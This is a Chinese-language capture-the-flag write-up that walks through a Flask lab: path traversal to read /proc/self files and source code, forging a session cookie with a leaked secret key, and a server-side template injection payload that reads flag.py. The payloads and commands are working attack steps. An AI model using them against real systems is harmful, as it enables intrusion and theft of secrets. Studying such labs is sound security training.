session原理和模板注入漏洞
编辑通过在任意文件读取的靶场进行实验,研究Flask框架的session原理和Flask模板注入漏洞原理。靶场的搭建信息如下:
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
- 5000:5000
靶场解题过程
开局一路点过来,到这个界面。看到有个name
参数,尝试一下其它参数值。
开局提交了用户名,点击链接进入这个界面。
出现了路径信息,看来参数是文件名。
尝试使用../
访问上级目录,没有过滤,可以访问到其它路径内容。
那这样基本就实现了任意文件读取,接下来就是看看要读取什么文件了。
查看一下/proc/self/cmdline
,看看当前进程是用什么命令启动的。
注意这里的分隔符,输出的是,所以在开发者工具里才能看得见。
所以,进程指令是:
python server.py
1. 读取代码
下一步是找到server.py
文件的位置,可以通过/proc/self/environ
查看环境变量,间接找到工作目录,也可以直接从/proc/self/cwd
访问到工作目录。
cwd(current word directory)
意思就是当前工作路径,访问/proc/self/cwd/server.py
就能看到server.py
的内容。
换行的问题可以通过开发者工具辅助解决。
server.py
的内容(我加了注释):
#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
# 获取表单中的 n1code 参数,并且过滤非法字符
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
# 将过滤后的 n1code 放入 session,但前提条件是 session 中的 n1code 是空才会放入
# 所以如果伪造一个 session,n1code 就不会被替换掉了
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
# 此处直接将 session 中 n1code 的值写入模板,导致注入漏洞
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
通过代码得知同路径下还有一个key.py
文件和flag.py
文件。
key.py
中包含一个密钥值,用于session的加解密。
#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'
flag.py
的内容被拦截了,如代码所示,URL中包含flag
关键词就会返回nofollow.txt
的把内容。
2. 伪造session
由于没法直接读取flag.py
文件,只能从代码中入手。发现代码中对请求体中的n1code
参数进行了过滤,然后当session
中n1code
为空时,将过滤后的n1code
写入session
。
那么就存在一个问题,只要让session
中的n1code
值不为空,就不会被替换掉,并且这个值会被写入模板中。
现在的任务是伪造一个合法的session
,我们已经从key.py
中知道了密钥,剩下的就用工具生成session
即可。Flask的session加解密机制会在下面介绍。
使用工具flask-session-cookie-manager,项目地址:GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
需要先安装itsdangerous
前置
pip install itsdangerous
先从开发者工具找到session值
目前持有的信息:
session = "eyJuMWNvZGUiOm51bGx9.ZepwZg.xHRriVRs7MtRI8c6LVwndWEXzu4"
key = 'Drmhze6EPcv0fN_81Bj-nA'
用工具解密,-s
指定密钥,-c
指定session值
PS C:Usershkt1998> python flask_session_cookie_manager3.py decode -s 'Drmhze6EPcv0fN_81Bj-nA' -c 'eyJuMWNvZGUiOm51bGx9.ZepwZg.xHRriVRs7MtRI8c6LVwndWEXzu4'
{'n1code': None}
其实flask session并没有对内容进行加密,只对内容生成了个完整性校验码,可以看到session
值分为三部分,用点号进行分割。第一部分为 Session Data ,即会话数据。第二部分为 Timestamp ,即时间戳。第三部分为 Cryptographic Hash ,即加密哈希。将第一段内容拿去base64解码,就能看到明文信息。
尝试将n1code
的值改为testaaa
,加密写入session
。-s
指定密钥,-t
指定要加密的字符串。注意引号要用反斜杠转义。
PS C:Usershkt1998> python flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"n1code" : "testaaa"}'
eyJuMWNvZGUiOiJ0ZXN0YWFhIn0.ZeqEVw.TfD3k5N9L52WqLY8gUP-01M0SmI
抓包重发请求,将n1code
设为abc
,session
设为刚才加密的结果。
可以看到响应中写入的是testaaa
而不是abc
,说明session['n1code']
没有被覆盖。
3. 模板注入
既然已经绕过过滤代码,那就可以往模板中写入payload了。
Flask的模板引擎只支持部分的python语句和表达式,默认函数是不支持的,所以需要python的魔法函数来执行想用的函数。payload的构造原理会在下面介绍。
payload如下:
{{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/cwd/flag.py').read()}}
生成session(此处双引号用反斜杠转义,单引号用单引号转义):
PS C:Usershkt1998> python flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"n1code":"{{''''.__class__.__mro__[2].__subclasses__()[40](''/proc/self/cwd/flag.py'').read()}}",}'
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNDBdKCcvcHJvYy9zZWxmL2N3ZC9mbGFnLnB5JykucmVhZCgpfX0ifQ.Zeq9fg.F4zlUBoeC33odFkP4sMEN04kfEQ
成功拿到flag!
- 0
- 0
-
分享